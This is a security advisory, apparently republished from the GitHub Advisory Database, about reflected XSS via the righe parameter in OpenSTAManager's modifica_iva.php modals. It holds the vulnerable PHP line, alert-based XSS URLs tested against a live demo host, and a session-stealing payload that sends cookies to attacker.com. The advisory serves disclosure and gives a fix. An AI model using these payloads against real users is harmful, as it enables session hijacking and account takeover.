OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter
Summary
Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.
Vulnerable Parameter: righe (GET)
Details
OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.
Vulnerable Code Location:
File: /modules/contratti/modals/modifica_iva.php (Line 125)
<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">
The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
All Affected Files:
/modules/contratti/modals/modifica_iva.php- Line 125, Line 167/modules/preventivi/modals/modifica_iva.php- Line 125, Line 167/modules/fatture/modals/modifica_iva.php- Line 121, Line 161/modules/ddt/modals/modifica_iva.php- Line 125, Line 167/modules/ordini/modals/modifica_iva.php- Line 125, Line 167/modules/interventi/modals/modifica_iva.php- Line 125, Line 167
PoC
Prerequisites:
- Running instance of OpenSTAManager v2.9.8
- Valid admin credentials (username: admin, password: admin for test instance)
Step 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Trigger XSS Navigate to the following URL in a browser (or use curl with cookies):
http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>
Tested URLs (All vulnerable):
https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.
HTML Output (verified on live instance):
<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">
Verification:
<img width="1260" height="99" alt="image" src="https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473" /> <img width="2060" height="1180" alt="image" src="https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0" />Alternative Payloads:
Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>
Impact
Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.
Attack Scenario:
- Attacker crafts malicious URL with XSS payload
- Attacker sends URL to victim via email/chat/phishing
- Victim (authenticated user) clicks the link
- Malicious JavaScript executes in victim's browser context
- Attacker can:
- Steal session cookies → Full account takeover
- Perform actions on behalf of victim (create/modify/delete records)
- Steal CSRF tokens and bypass CSRF protection
- Redirect to phishing page
- Inject keylogger to capture sensitive data
- Modify page content to trick user into revealing credentials
Recommended Fix:
<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">
Apply this fix to all affected files listed in Details section.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | devcode-it/openstamanager | < 2.9.8 | 2.9.8 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
devcode-it/openstamanager- Disclosed
- 03.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-jfgp-g7x7-j25j - CC BY 4.0
Vulnerability history: devcode-it/openstamanager
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 18
- First → latest
- 11.2025 08.2026
- Without a fix
- 11
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 14
- Medium 1
- Low 1
Disclosures per year
- 2025: 1
- 2026: 17
-
OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.